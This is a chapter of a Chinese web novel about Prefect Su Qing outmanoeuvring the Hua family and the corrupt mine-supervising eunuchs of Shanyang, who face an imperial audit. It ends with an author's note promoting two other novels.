但连自己的舅舅都知道,她以后继承不了花家太多的东西。 她还是太蠢了。 还真以为足够努力。 就能让她爹回心转意,知道当年他做了错事。 虽然知道苏清给的提议,是为了分化花家。 也为了更好掌控生铁作坊,但对花又菱来说,反正跟她的利益没有冲突。 想到自己精心打理的广右县,以后都是给花承载做嫁衣,她就立刻打起精神。 这些东西就算扔了,也不会给他的。 花家在生铁作坊开始有了细微的变化。 可就是这点变化,都被花老爷得知,并把花又菱喊去问话。 问她作坊怎么裁撤了人手,这是为什么。 看似只是普通问话。 但已经被苏知府提点过的花又菱瞬间打起精神。 “要把作坊里全都换成自己人,首先要过的,就是你父亲那一关。” 要知道的生铁作坊不再从山阳府进货,几乎要停产,花老爷都没有过问。 现在只是刚开始剪裁人手,就被父亲问了。 她爹对下面产业的掌控,果然出乎她之前的预料。 那舅舅之前投靠花承载的事,他是不是也知道? 花又菱面上装作不在意,只道:“苏知府那边说,武器作坊已经不再做武器,做农具又一直赔钱,所以以后会尽量减少产出。” “既然没那么大产量的,就把人调到其他地方好了,省得生铁作坊一直不赚钱,看着烦心。” 这些话也都没错,花老爷没有再问。 有了这次谈话,花又菱飞速转移作坊里面信得过的人。 重新在广右县其他地方,悄然另起门户。 就差把里面锅炉都给拆干净了。 反正懂技术的人,全都不转移走。 花又菱直接给他们放半个月的假,还是带薪那种。 半个月后,一切就会不同了。 不止这个生铁作坊,花又菱要拿到手的还有更多。 最先发现不对劲的,竟然还是她的舅舅。 而舅舅的反应竟然是:“早该这么做了!有你的能力,咱们早该另起炉灶。” 等花又菱冷笑:“舅舅不去投靠花承载了?” 舅舅直接道:“那到底是外人,我只是想赚点银子,又不想真的害你。” 花又菱之前一心为花家,不允许任何人多拿多占。 现在自己做事,直接给舅舅舅妈分红。 那他们对谁更忠心,自不必再说。 她这边转移财产。 在花承载那边,则是认为花又菱经营不善,好好的生铁作坊,都要被她经营黄了。 与其这样,不如转到他手中。 这么想着,花承载还真去找花老爷要作坊。 花老爷冷声道:“早晚都是你的,慌什么。” “这不是怕花又菱做不好吗,那可是生铁作坊,每月要经手不知多少银子。”花承载生气道,“竟被她经营成那样。” 花老爷却道:“如今苏清做知府,账目要干净利落,否则就会有麻烦。你二妹做事磊落,由她来管自然更好。” “生铁作坊肯定是暂时关门,苏知府好不容易弄来的武器作坊,不可能就这么停了。” 话说到这,花老爷也紧皱眉头。 跟苏清合作,名头好听,获利却少。 这样下去,难免让他不高兴。 花承载不知想到什么:“小弟他还没拿下苏清吗?等她做了咱们家儿媳,看她还敢这般张狂,还敢不敢查咱们家账目。” 花老爷不言语,心里也是这个想法,最后道:“她今年八九月大概率就要离任,可她这人又绝不会把此地拱手让人。” 既要离任,又不会把这里送给别人。 那只能做这地方实际上的地头蛇。 最便利的方法,就是跟花家合作。 跟花家联姻就是个极好的选择。 所以花老爷并不着急。 花承载想到那日,苏清闯进酒楼,“解救”花承载的模样。 不知又想到什么。 父子两人间的秘密谈话,很快就到花又菱耳朵里。 她气得几乎发抖。 原来从始至终,她都是个外人。 让她经营生铁作坊,也是觉得自己好用。 花又菱气过之后,看向苏知府。 花家想求娶的原因,大家都明白。 可这般直白说出,总是亏心的。 苏清怎么可能在意这种事,她只道:“生铁作坊转移的怎么样了。” 花家其他产业,苏清并不过问。 能转移多少到自己口袋,那是花又菱的能力。 她只问生铁作坊。 花又菱立刻道:“能用的人,物件,全都到新作坊了。” “舅舅负责货物进出,具体如何生产,就看您的人。” 现在七月初九。 短短半个月内,花又菱已经把作坊内部掏空。 当然,也跟如今矿料短缺,陆陆续续停工有关。 若在最紧急的时候把人抽调走,估计早就引起怀疑。 苏清点点头,直接问她:“你做好准备了吗?” 这段时间对花又菱的冲击极大。 可都做到这种程度了,如果还没做好准备,那就不是她了。 一想到事情败露,她爹的反应、 花又菱便无比痛快。 苏知府说的对,就应该攻击对方最在乎的事。 把花家拆的七零八落。 跟花家明着抢生意,才是真正的报仇。 见她点头。 苏清笑:“那就好。” “等着吧。” 等什么? 等着生铁作坊开工。 从上个月,苏清不让广乐府购买山阳府的铁矿石开始。 无论是花家内部,还是山阳府那边,对此都是看笑话的心态。 苏知府想压价,还是想找其他地方购买? 山阳府那些管着矿场的公公们直接放话:“两样事都不可能。” 所有矿场管事全都拧成一股绳。 绝对不对苏清松口气。 大家指望从她这赚钱了,谁松口谁傻子。 到现在花家生铁作坊彻底停工。 武器作坊的材料也几乎要用完了。 下个月就要秋收。 这个时候的农具减产,听着就像个笑话。 所以山阳府众人认为。 苏清一定会松口,继续买山阳府铁矿石的。 双方僵持不下。 都觉得苏清终于要吃瘪。 可就在七月十一。 三艘灰扑扑的巨大船只,停靠在府城附近右县广右县码头。 船只还未停稳,便引来无数人围观。 这里面装的什么东西,怎么吃水这样深。 很快,大家就看到衙门工司主事竟然就在岸上等着。 这是,府衙的货物? 码头众人对视几眼。 只见花家二小姐花又菱也出现了。 她舅舅指挥劳力前去卸货。 而这船上的货物,正是铁矿石! 怪不得看起来灰扑扑的,怪不得吃水这样深! 等会。 这些铁矿石哪里来的?! 船上的人,他们也不认识啊。 肯定不是山阳府那边的人手。 船上领头的文瑞,整个人还是那样弱不禁风,可精神极好,笑着道:“我们啊,是皋青州的人!” “我们户司主事听说广乐府这边缺铁矿石,想着我们那有啊,就赶紧跟苏大人谈了合作。” “价格好商量,我们那正需要银子修整田地,种田耕地呢。” 谁?! 皋青州?! 广乐府,乃至顺昌国其他地方。 很多人听到皋青州的名字。 第一反应其实是害怕。 不仅这五六年了里战乱不断。 早在二十多年前,就是人家武勇王爷的封地。 跟顺昌国其他地方,多半没有来往。 说白了。 新一代的人,都不觉得这是顺昌国的地盘。 故而听到这话,难免心惊胆战。 好在大家理智尚在,知道皋青州确实已经收复。 只是收复,跟和他们合作,还是两码事啊。 上来就是大批量的铁矿交易。 开什么玩笑。 但这并非开玩笑。 而是实实在在三船铁矿石,直接运了下来。 听说价格,只是山阳府的五分之一。 多少?! 五分之一?! 这让不少人瞠目结舌。 价格也太便宜了些。 就是不知苏大人什么时候谈妥的。 怪不得不要山阳府的东西! 众人惊叹至极,却又见这些矿石没拉到花家作坊。 而是朝着另一个方向走去。 这又是干什么?! 花又菱舅舅让人赶紧走,咱们新作坊终于要开工了。 可他又不敢像之前那般动辄打骂。 因为苏大人参与进来,绝不允许他们苛待伙计。 不用人家吩咐,他就明白的。 以前作坊不开工的时候,尚且瞒得住。 现在三船铁矿石过来,又有人过来拉矿料,自然有好事的追过去看。 只见那边几个民居被打通了,成个新作坊。 这作坊就是花家二小姐亲舅舅管着的,再看里面的伙计匠人。 不就是原本花家生铁作坊的人?! 当天中午,消息便到了花家花老爷跟花承载耳朵里。 两人第一反应具是不信。 花又菱什么人? 最是争强好胜。 势必要压花家其他两个儿子一头。 所以最为忠心,也最为小心。 说她另起炉灶? 两人都不大信的。 难道她不想跟她后娘以及花承载争了?! 花老爷脸色变了几变,最后咬牙道:“苏清!” 女儿变化那样大,只有一个原因了。 肯定是苏清的缘故。 别的不说,就皋青州的矿石,肯定是她的手笔。 不对。 人家就是要把山阳府矿石换成皋青州的。 顺手把生铁作坊从花家剥离出来。 要说花又菱最近在广右县的小动作,他不是不知道。 本以为以为只拿些田产铺面。 花老爷根本不在意。 最重要的生铁作坊,却也给搬空了。 这让他实在不能忍。 花老爷立刻让人喊花又菱回来。 花承载脸色阴沉等着。 那都是他的银子,他的家产,一个外人竟然敢联合其他外人中饱私囊。 实在可恶。 但此刻的花又菱怎么可能回家。 她还在广右县。 新作坊第一天运转,她肯定要在场的。 让花又菱不知该说什么的是。 新作坊在她名下,舅舅确实全心全意帮她。 当然也有是有利可图,但绝不会跟其他人合作。 因为这是自家产业,不是别人家的。 她只跟花家管家道:“爹有召唤,本应立刻去的,但家里事多,还请爹体谅。” 她此刻的家,是指自己这里,并非花家了。 此言出来。 花老爷自然震怒。 不少人都看出来。 这花家父女两个,必有争斗。 看热闹的人不在少数。 花老爷的手腕自不用讲。 当年被召到金陵,当着皇上的面,也没多出多少血。 花又菱又是个年富力强,精明能干的。 这俩人打起来,无数人求之不得。 毕竟府城跟左右二县的利润,基本都在他们家手中。 以前这家也算团结,不少人没有办法。 现在好了,终于能趁机喝汤。 而这件事的始作俑者,是苏知府吗? 谁也说不清。 毕竟人家只说了要换铁矿石的供应商。 其他事情,跟她并没有多少关系啊。 花家的事情暂且不谈。 苏清现在要处理的,则是山阳府那边几十个矿场管事公公的责问。 他们个个怒不可遏。 听到广乐府生铁作坊不仅没有停产,还盈利了。 而后面的武器作坊,也因为原材料价格跌了五分之一,终于有了利润。 人家还改进了炼铁技术。 用最少的煤炭,最便宜的生铁。 造出最好用的农具?! 广乐府这边多高兴。 甚至周围需要农具的百姓有多高兴。 这些矿场管事公公就有多生气。 本应该是他们的钱! 应该买他们的原料! 为何变卦了?! 在没有理智的时候,就容易做冲动的事。 苏清一封封文书看完,还挑出言辞最激烈的,让手底下文采好的官员回复。 最后再轻飘飘说一句:“钱赚够了吗?” 这句话说的莫名其妙。 让矿场管事公公们琢磨许久。 苏清什么意思。 觉得他们赚钱太多? 但又不是他们求着广乐府买矿料的啊。 就在众人还在想,苏知府到底什么意思时。 一道晴天霹雳般的圣旨下来。 皇上派出巡视官员梁公公,专门来山阳府查本地几十处矿场账目。 还给了梁公公极大权柄,让他放手去办差。 这事,还要从苏清上个月写给京城那封信说起。 苏清寄给京城的信件,便是给梁公公的。 那梁公公收到苏清的信,还是颇为奇怪。 两人因之前的事,颇有些不愉快,后来自己虽有求和,但双方态度都不温不火。 怎么突然来了封密信。 这封信里,正是教梁公公怎样重新取得皇上信任的。 说白了。 就是皇上缺什么,你就给他弄什么。 身体方面,已经有齐内官供奉的益气养神丸。 再缺的,就是银子了。 偏偏这东西最难弄。 苏清便指了明路。 山阳府矿场,只要把这些管事公公的家抄了。 要多少银子都有。 梁公公因皇上赐婚失败的事备受冷落。 还因为益气养神丸旁落齐内官之手。 如今日子并不好过。 现在终于能抓到这件事,肯定咬死不松口。 他那边终于说动皇上,还拿了旨意。 摆明了要大干一场。 那么多银子。 不仅能给皇上弄些银子。 他自己也会腰包鼓鼓。 正合梁公公胃口。 果然,圣旨一来。 山阳府众管事太监如丧考妣。 既恨苏清手腕多。 也恨自己太过贪心。 只是想着,以前连番涨价,也没什么事啊。 苏知府为什么突然发难?! 沈知府那边还在教女儿读书,以及教女儿处理政务:“苏知府为什么突然发难?” “大概率因为她跟皋青州谈的差不多了,也改进了炼铁技术。” “这不是一两日可以筹谋的。” “等时机成熟,才有如今的雷霆手段。” 沈小姐点头,心里既崇拜苏大人,也看向她爹。 爹什么都知道。 怎么什么都不干啊。 沈知府一时语塞。 主要是觉得吃力不讨好,没必要。 但现在看看聪慧的女儿,他也有正儿八经的接班人了。 似乎可以做些什么。 让他女儿做官之后,有所依仗。 山阳府这边的事情不提。 反正广乐府武器作坊简直扬眉吐气。 被山阳府的原材料牵制那样久。 现在终于摆脱了啊。 人家皋青州的矿料便宜还好用。 不比你们强百倍吗?! 还有! 我们武器作坊,终于能盈利了啊! 三年了! 知道这三年怎么过的吗?! 蒋管事都要哭了。 虽说只是即将要盈利,但也算看到希望了啊。 天知道这作坊在他手里,一直都是赔钱货。 皋青州那边源源不断的送矿料过来。 从花又菱的作坊拿到银子,再采买各种物资回皋青州,交到费开宇手中。 这些物资,有的用来改善本地人的生活。 有的则用来重建城池,把皋青州内荒废已久各种道路桥梁全都修缮整齐。 既然是皋青州的铁矿。 那赚来的钱,肯定要用在这地界上。 否则都跟山阳府那群太监一样,只顾自己享乐,不顾本地百姓死活? 还有一部分银子,被文瑞拿着,悄悄去的山阳府矿场招工。 现在广乐府改用皋青州的铁矿。 山阳府这边没什么生意,而且朝廷钦差梁公公要来,此地矿场的矿工们,一时没有活干。 文瑞过来,就是招募有经验的人,去皋青州做事。 山阳府矿工们皆是摇头:“太远了,我们不去。” “去那边干货了,身体发臭了,家人都不知道。” “我们是想挣钱,我们也要命。” 文瑞直接亮出自己的招工条件,还让跟来的皋青州矿工直接现身说法。 “皋青州那边的矿工,包吃住,一间房顶多住四个人。” “每个月的月钱,按照矿场总体收益来算。每天顶出三个时辰的工。” “不仅如此,四节衣裳鞋袜,管事的都给发。” “还能把家人接到附近村子住,给咱们的孩子们,专门开了私塾,只用很少的银钱,就能进去读书。” 皋青州的矿工程布越说越兴奋,他手上的厚厚的茧子做不得假,确实是干重苦力的。 但身上的衣服鞋袜,虽有补丁,却干净整洁。 怎么看都不像是经常下矿的人。 他说到高兴的地方,甚至没注意到山阳府矿工们的脸色:“我们管事还去塞外买羊,一个月杀一次,可好吃了。” “对了,只要干够三年,就能以极为低廉的价格买自己的田地。” “干的时间越久,能买的地就越多。” “到时候安家落户,岂不是快哉。” “反正很多人的儿女都在私塾读书,别提多好了。” 话音未落,直接有人吐口唾沫,眼圈红肿:“骗子!” “滚!” “骗到你爷爷我头上了?!还不滚出去!” “大家都是挖矿的,用这个来骗我们?!” “咱们干这低贱的活计,还做这白日梦呢。” “吃羊肉,买田地,一日只出三个时辰的工?骗人也不能这样瞎编吧。” 程布直接被人推搡,要不是他身板结实,都要直接跌倒。 程布不服,当下怒道:“谁骗你们啊!反正我过的就是这种日子。” 看他的生气不像作假。 山阳府一个老矿工翻白眼:“你那是矿工吗?肯定是管事吧。” “就是把我们骗过去,给你们做白工吧。” 见大家怎么都不信。 程布赶紧看向文瑞文大人:“大人,他们都不信啊!” 其实大家都注意到文瑞了。 毕竟这个中年人,一看就是个读书人的模样。 跟他们这些下苦力的不一样。 文瑞开口道:“我才是皋青州矿上管事,我也可以对天发誓,程布,也就是这个小兄弟,说的都是真的。” “但他有一点没讲,他是矿上长大的,从八岁下矿,今年二十五,一直都在矿上做事。” “但他二十四岁之前,过的不是这样的日子。” 程布有些恍惚。 他之前过的,当然不是这样的日子。 那是的他,活的根本不像个人。 自从他们全家被武勇王爷抓到铁矿后,他们过的,都是暗无天日的日子。 母亲做饭洗衣,有时候还会被欺负。 他爹每日下矿,死在他旁边。 那时候他才十二,矿产管事直接把他爹的锄头一把捡起来,塞到他手里。 “你爹死了,你有锄头了。” 本来只是捡矿石的程布,开始挖矿了。 这一干,就干到二十四岁。 这期间没了太多人。 他爹他娘,还有同村的亲戚,都死了。 整个村子,只剩下他跟丑妞。 幸好丑妞够难看,不然早就被拉出去卖掉。 当然,她跟自己母亲一样,洗衣做饭被欺负。 再之后,就是去年了。 去年发生了很多事。 管事的还组织他们去跟人厮杀。 但那些人并不伤害他们,而是煮了一大锅羊肉,说什么:“苏大人说了,你们是苦命人,不能跟你们打,来吃肉吧。” 那一天,程布他们吃了很多肉,吃的都吐出来了。 本以为这是对方歹毒的计谋,要害死他们。 可等大家的醒来,身边还有大夫照顾。 说他们头一次吃肉,吃太多就会吐。 当时有个叫费开宇的官员挠头:“大人知道,肯定会骂我啊。” 好好的命令,被他执行错了。 反正从那之后,程布就替文大人他们卖命了。 先是抢夺其他矿场。 再是重新安排矿场里的差事。 那个不知道哪里的苏大人,定了很多规矩。 比如一天不能下矿超过三个时辰,一次不能超过一个时辰,就是她定下的。 或者说,整个矿场的工作条件,薪酬,都是那位定下的。 程布说着,自己有些恍惚。 原来只过去了一年时间,他怎么就把那些痛苦的事情都忘了。 他就记得,自己跟丑妞正式办了婚事。 丑娘还是洗衣做饭,但不被欺负了。 自己也还是挖矿,却能攒下银子。 好像幸福的日子太多了,都把之前的事情悉数忘掉。 此刻忽然想起来,已然泪流满面。 而他的诉说,让山阳府众人不再说他是骗子。 至少程布真的是矿工,或者曾经是? 他说的那些矿上经历,他们山阳府矿工谁没经历过。 但是从去年开始,好像就有点假了。 还真能对他们这么好啊。 “苏大人,是苏清吗。” 有个人忽然开口。 程布不知道。 文瑞却稍稍点头。 是苏清! 苏大人定下的规矩?! 如果是她的话。 这事就有可信度了啊! 程布他们远在皋青州不知道情况,更不知道这苏大人。 他们却是知道的啊。 山阳府就在广乐府隔壁。 可那边的日子是什么样,这边的日子什么样。 谁心中没数。 再说了,苏清苏大人扶贫济弱的名声,他们谁人不知。 “早说是她,我们就信了。” “对啊,早点说那边也是她管着。” “什么时候出发?这边没活了,那管事公公好像要逃命,我随时都能走。” “我也随时都能走。” 程布摸不着头脑。 方才还大骂他是骗子。 现在怎么都信了啊。 只因听到苏大人的名字? 为什么啊? 程布恢复正常生活没多久,皋青州那边也没大肆宣扬过苏清的名字。 当初苏清在各县分地时,他还在矿洞里呢,自然不知道。 可他却知晓,跟他同为矿工的山阳府等人,好像充满信心。 不管了。 反正把人带走再说。 在哪都要挖矿,还是皋青州更好点。 一夜之间,此地矿场附近的大小矿场,都知道这个消息。 五日后,本来就陷入混乱的矿场,瞬间变得寂静。 等准备逃命的管事公公们发现时。 数以万计的矿工,已然从山阳府离开。 有家人的带着家人,没家人直接卷铺盖走人。 他们直接去了皋青州。 都是挖矿,还是在苏大人手底下,更有保障。 山阳府矿工大面积出逃。 本地守备军是该管的。 但他们这些人跟矿场管事公公们勾连,平时就是靠着他们镇压闹事的矿工。 此时却不敢动手。 因为他们也想着逃命。 拿的银子太多。 只要钦差过来,就是死路一条。 这种情况下,谁敢多留? 守备心道,这也不能怪他们贪钱。 实在是没有粮饷,为了养家糊口,总要有个进项。 当然了,坑了苏大人那么多银子,他心中也愧疚。 可日子总要过啊。 只是他们这当兵的要逃到哪里,是个问题。 听说管事公公们已经找到地方,全都往沿海一带跑,说是那边海岛多。 只要往上面一躲,朝廷也没心力去捉他们。 手头大几百万两银子,在哪都能过。 大几百万两银子。 这守备看了看手中刀剑。 有这东西,何愁手头没有银子。 只是做了心中所想之事。 那以后真的要落草为寇了。 山阳府的混乱可想而知。 趁着他们内讧,矿工们早就逃往皋青州。 苏清见此时机,悄悄联系几次三番找到依松县的新总兵。 这位新总兵今年三十七,名叫柴康宁,正值壮年,一脸严肃。 旁的不说,皇上识人能力还是可以。 柴康宁来到广乐府接手十六万驻军后,确实跟地方保持距离。 在他看来,前总兵什么都好,就是跟地方上距离太近。 这样确实容易引起猜忌。 不怪皇上要把前总兵换掉。 但来广乐府之后,柴康宁跟一起到任的镇守大臣罗公公明白过来。 为什么前总兵,前镇守大臣,都要跟苏大人搞好关系。 因为朝廷不发粮饷啊。 去年那会还好,一个是账面有余粮,可以靠着梁公公跟铮王爷留下的物资勉强过日子。 而且他刚来的时候,还是广乐府提供军饷,想来准时。 但只朝廷接手后,情况就发生变化。 从去年年底到今年七月份,每次问朝廷要粮饷,得到的回答只有搪塞。 更多的,还有让他们剪裁军队的。 即使削减兵力,同样需要粮饷。 难道让他们带着军中欠条回地方? 而且在柴康宁柴总兵看来。 这些人并不能裁撤。 顺昌国不太平,手头这些有经验的老兵不能轻易散了。 若再有硬仗,从哪调兵? 总不能临时招人吧。 坚持到七月份,朝中还是让他再坚持坚持。 说什么八九月份秋税就要收了,到时候就能发饷。 这话听的柴总兵眼前一黑。 “联系苏大人吧。”罗公公无奈道,“她大方,可以给些东西,应应急。” 上次就给了一些。 这次应该还会给吧? 但联系好几次,依松县崔县令只说苏大人很忙。 其他的再也没有回音。 可他们眼看着皋青州都跟广乐府做上买卖。 从皋青州拉出来的矿石,停放在江北县,然后装船送到广右县。 再从广右县南江县等地拉回大量物资。 最后运到皋青州,给皋青州百姓。 这一来一回,让中间十六万驻军馋哭了! 而且肉眼可见的。 这个交易还会持续。 柴总兵眼前一黑。 广乐府有钱,大家都知道。 皋青州也要依靠广乐府有钱了。 岂不是就他的兵很穷? 柴总兵对朝廷的怨念越来越深,这也是难免的事。 即便如此,他也会恪尽职守的。 苏清就是在这个时候,主动联系的他。 这让柴总兵有些诧异。 等在依松县见到苏知府的更加惊讶。 就在柴总兵疑惑之时,苏清先拱手道:“有件事,还请柴总兵帮忙。” 什么忙? 柴总兵立刻皱眉:“军中跟地方不该联系过多,帮忙更从何说起。” 本来应该说这句话的,但柴康宁自己闭嘴,换了一句:“苏大人不要客气,先说是什么事。” 苏清直言:“过几日,有三四万山阳府矿工会途径广乐府,前往皋青州。” “还请柴总兵不要阻拦。” 三四万人矿工?! 柴总兵自然知道山阳府皋青州之间的矿石之争。 也知道苏知府在这里面,起到很大作用。 在他看来,这些无可厚非。 那山阳府抬价抬得确实厉害。 却没想到,皋青州还惦记山阳府的矿工,竟然拐走几万人。 三四万人从山阳府搬到边疆府皋青州。 这事情,太敏感了。 而且这三四万人,大概率对顺昌国有怨恨。 柴总兵终于明白,苏知府为什么要亲自过来了。 若她不来,自己肯定要把人拦下的。 柴总兵到底心思缜密,开口问道:“他们这一路,就这般畅通无阻?” “山阳府守备玩忽职守。” 其实还要经过广乐府,但柴总兵并不提此地。 毕竟他还有所求。 说到山阳府守备玩忽职守。 苏清可就有话说了。 她把那守备如何跟矿场管事公公们勾结。 如何中饱私囊。 如何贪污民脂民膏。 以及坑骗她广乐府多少银子,全都一一说明。 听到矿场管事手头至少八百万银子的时候,柴总兵眉头紧皱。 八百万两。 怪不得没有军费给他们。 怪不得朝中一点银子也没有。 无论税收,还是地方上铁矿收入。 朝廷都收不上去,全都进了这种人口袋。 如此大逆不道有违天理,不忠不义之人。 还有什么脸给朝廷当差。 山阳府守备更是离谱。 不仅不管,还帮着抓捕矿工,让他们叫天天不应,叫地地不灵。 “皇上派了钦差来查,他们正乱着呢,所以没工夫管这些好不容易逃出生天的矿工。” 苏清给这些矿工的定义很长。 既好不容易,又是逃出生天。 柴总兵却无法反驳。 让他们去皋青州,确实是条生路。 可是这么多人迁徙。 若真的不管,又不是总兵所为。 柴总兵思索之际,就听苏清道:“对了,听崔县令讲,总兵大人有事找本官?” 话说到这,柴总兵哪能不明白苏清的意思。 他这边不管逃过来的矿工 苏清就会给他一定的支持。 柴总兵不知如何回答。 但苏清也不是谋私,而是为百姓考虑。 他也不是为了私利,只是为了发军饷啊。 想到军饷,柴总兵一个头两个大。 总兵当到这种份上。 他早就理解铮王爷的苦。 “好,大人只管放心。”柴总兵道,“这些都是苦命人,既然有落脚的地方,不该拦他们。” “反正都是顺昌国的土地。” 苏清笑眯眯道:“确实如此。” 两人将此事定下。 柴总兵说话算数,再无更改的可能。 苏清见此,终于可以往下推进了。 “我知道驻军生计艰难,只靠军中种的粮食,饭都吃不饱的。”苏清说的直白,柴总兵难免尴尬。 没办法。 广乐府距离最近,而且苏知府还在京城待了半年。 她知道这些事,并不算意外。 “所以我打算,给军中弄来八百万粮饷。” 前一句还是尴尬。 这一句则是满头问号。 把广乐府今年所有税收都给他们,也没有这么多银子啊。 等会。 八百两。 苏清点头:“就在山阳府。” “苏知府!”柴总兵直接站起来,“你这是在干什么?!” 堂堂兵将,浴血的男儿。 要去做劫匪吗?! “不可能!”柴总兵说的斩钉截铁。 苏清却叹口气:“您要看着这些银子,流入海外吗?” 什么意思? 苏清把这些公公们的逃跑路线说了出来,又道:“那山阳府守备,未必有没有这种心思。” “沿海那些小岛,虽说归属顺昌国,但朝中多年未曾派官,早就有人自称国王。” “他们这群人带着顺昌国的白银前去投奔,未尝没有称国王的心。” 柴总兵嘴唇微动。 他算发现了。 苏知府太会蛊惑人心。 八百万银子若被他们带到海外孤岛。 确实回不回来了。 “这些都是广乐山阳两地的银子,您就忍心看着流出去吗。” “与其带到孤岛上,不如给十六万驻军发粮饷。” “他们才是保家卫国的人。” 如果说,对三四万矿工逃跑视而不见,是退让的第一步。 如今跟苏清合谋,弄来八百万两银子,就是退让的第二步。 偏偏苏清说的句句在理。 此事重大,柴总兵不能直接决断。 回到军中,看着手底下的士兵,再看着万般无奈的罗公公。 还有苏清那句话:“机会转瞬即逝。” “京城钦差七月二十六就到。” “他们肯定会在这之前离开。” 现在七月十九。 这两日再不做决断,就赶不及了。 柴总兵想到这大半年的粮饷,还有铮王爷的忠告。 铮王爷告诉过他。 如果有危险,可以信任苏知府。 她虽狡黠,却一心为百姓。 真的可以信吗。 柴总兵召集心腹商议此事。 王师爷直接道:“大人,想什么呢,去拿啊。” 王师爷为总兵幕僚,相比之下他急切的像个武将:“军中缺吃少喝的,军心不稳啊。” “您真等秋收之后,朝廷拨款吗?” “即使拨了,够咱们用吗?够补发军饷吗?” 还有,马上冬天了。 去年那会,就有士兵来领冬衣,他们只能去翻库存。 要不是库房底子厚,是真的没办法。 今年怎么办? 还有今年过年,还跟去年一样寒酸过去? 不少士兵都有怨言了。 说铮王爷跟苏知府管着的时候。 逢年过节都敞开肚子吃的。 他们真的撑不下去了啊。 不说王师爷,几个副将也是一个意思。 说实话。 驻军本就苦。 他们这些副将日子都不好过,何况下面人。 就算不管驻军,他们手底下的亲兵也要顾及的。 那垂手可得的八百万两银子。 为什么不拿。 又不是抢国库。 怕什么。 还有些兵将垂着头。 朝廷都挪用他们的军饷修大殿修园子了。 何必还这样尽心尽力。 就算他们可以忠心。 家人呢。 跟着他们喝西北风吗。 当初被调到这的时候,家里人还说,这里背靠广乐府,日子不会艰难。 谁能想到,皇上不让广乐府供应军饷,而是朝廷提供啊。 现在呢? 军饷呢? 看着手底下人的脸色。 柴总兵咬咬牙。 这一票,干了。 不能让这些银子流到海岛。 肉要烂在锅里。 但是那些银子太多。 柴总兵看了看大家的表情,并不是很放心。 再次联系到苏知府的时候,柴总兵直接道:“银子可以弄到手。” “但要交给您保管。” 此话一出,苏清都有些诧异。 她确实想从中拿一些出来,却没想到柴总兵直接要把所有银子都给她保管。 柴总兵微微摇头:“手底下人多手杂,很多人没见过这么多银子。一股脑拿过来,只会乱事。” 这确实是个问题。 苏清则提出自己要求:“他们逃跑的路线跟计划,我可以提供。” “所以这八百万两里,要留下二百万左右。” “留给即将过来的钦差。” 梁公公很快便到。 既是苏清喊他的,就不能让他无功而返,更不会让皇上那边“失望”。 这人是贪财了些,但也确实好用。 苏清帮他赢回圣心,他自然投桃报李。 经过琼林宴那桩事。 梁公公已然向苏清靠拢,她也不会让对方失望的。 苏清说完,柴总兵叹口气:“皇上也盯着这个银子啊。” 苏清见他如此,直接道:“要不等着看看,皇上发了这笔横财,会不会想到你们。” 柴总兵迟疑片刻,微微点头。 应该会吧。 二百万两银子呢,而且马上秋收。 若再不拨钱,实在不像话。 计划定下。 柴总兵这边雷厉风行。 不用他亲自出发,只派了副将两人,精兵五百,日夜兼程,专挑小路。 对付这些管事太监。 这些人足够了。 接下来,就是等好消息。 身负巨款的太监等人,心里惴惴不安。 确定梁公公是奔着他们命来了,大家终于收拾好所有细软,商量好前后脚出发。 他们这些年全部家当,其实是超过八百万的。 可诸如宅子之类的东西,实在带不走了。 这些太监们,还在提防山阳府守备军。 他们跟守备联系的多。 知道对方一直眼馋这些金银珠宝还有真金白银。 所以一边周旋,一边逃跑。 守备那边还真被他们唬住了,以为太监们七月二十三才走。 但二十一深夜,十几个太监,数百奴仆,押着大小箱子趁夜色离开。 二十二白日,风平浪静。 他们假扮货商,全都换上寒酸衣裳,尽量不引人注目。 众人一刻不敢停,吃饭喝水都在车上。 终于在中午时分,远离山阳府府城。 离府城越远,他们的心就越安稳。 其中领头的太监拿出地图:“从这里走,绕开广乐府,从这里坐船,一路到闽地。” “就在闽地附近买岛,我们也做个土皇帝。” 土皇帝啊。 那岂不是为所欲为。 这种神仙般的日子,也该轮到他们这些太监了。 众人摩拳擦掌,似乎想到当皇帝的好日子。 周围戒备的奴仆突然警觉。 不好。 有马匹追来。 不对,不是追来。 是迎面而来? 既不是追兵,那就没事了。 所有人依旧握住暗藏的刀剑。 只见十几匹快马从身边疾驰而过。 众人更松口气。 草木皆兵草木皆兵了。 七月二十三夜晚。 住在沿途客店的十几个太监刚进入梦乡。 这个简陋的客店便被团团围住。 金银揽尽太监心,夜半惊魂索命来—— 作者有话说:推推接档文《救命我被古风男高男大包围了!》《穿越做神厨》 求求大家收藏吧!爱你们! 《救命,我被古风男高男大包围了》 苏问一觉醒来,发现自己穿越了。 不仅穿越了,身边还都是各色俊美古风小生。??? 我被古风男高男大包围了? 人群里,只有一个面带温柔的男人眼中写着不耐烦,像是看到什么脏东西。 等苏问想起一切的时候,整个人都麻了。 原身作为一本书里的炮灰女配,因爱慕自己未婚夫,女扮男装进了国子监,想要陪伴在未婚夫身边。 不料愈发惹得对方嫌弃,只是碍于两家婚约,不好说什么。 等原身未婚夫考上状元后,自然第一时间去苏家退婚。 苏家因此被京城笑话多时,之后更是全家落得下狱流放,直到死在流放路上。 死之前,原身双腿残疾,硬生生冻死在路边。 想到以后的悲惨命运,苏问猛猛给老天爷磕几个响头。 以后她会离前夫哥远一点的! 绝对不会再纠缠! 夜色里的前夫哥,模模糊糊听到自己的名字,又听到纠缠二字,眼神愈发不耐烦。 可接下来几个月里,说好要纠缠他的人,只会亲近其他人。 跟将军家的幼子,尚书家的长子,侯爷家的私生子走的极近。 反而避他如蛇蝎。 她为什么对每个男人都那么好。 她女扮男装来国子监,不是为了他吗? 在前夫哥后悔万分时,国子监梨花树下,苏问被那个只会装可怜的私生子亲了脸颊。 前夫哥刚想上前,只见苏问跳了八丈远,惊慌失措道:“我不搞断袖啊!” 说着便往身后跑,正好看到前夫哥阴恻恻地看着她。 苏问:?今日撞鬼了吗! 而前夫哥跟私生子对视一眼,都从眼中看到势在必得。 而苏问本人:我只是想考个状元,不被流放而已! 真不想跟你们古风小生搞癖好! ps:ps 1.男主是古代人,早就知道女主女扮男装,1v1,不是前夫哥 2.后期前夫哥会慢慢恢复上辈子记忆,追妻火葬场不成功 3.前期科举,后期做官种田,虐渣 《穿越做神厨》 大厨苏酥正要开自己第十家连锁店私房菜时,被天降花盆砸到另一个世界。 刚睁开眼,就被后母逼着嫁人,苏酥自然不肯,偷偷从村里离开。 到了县城的苏酥举目无亲,看了一圈,为了安全起见,干脆在县衙附近支起小摊。 什么流氓匪贼,敢在捕快面前闹事吗! 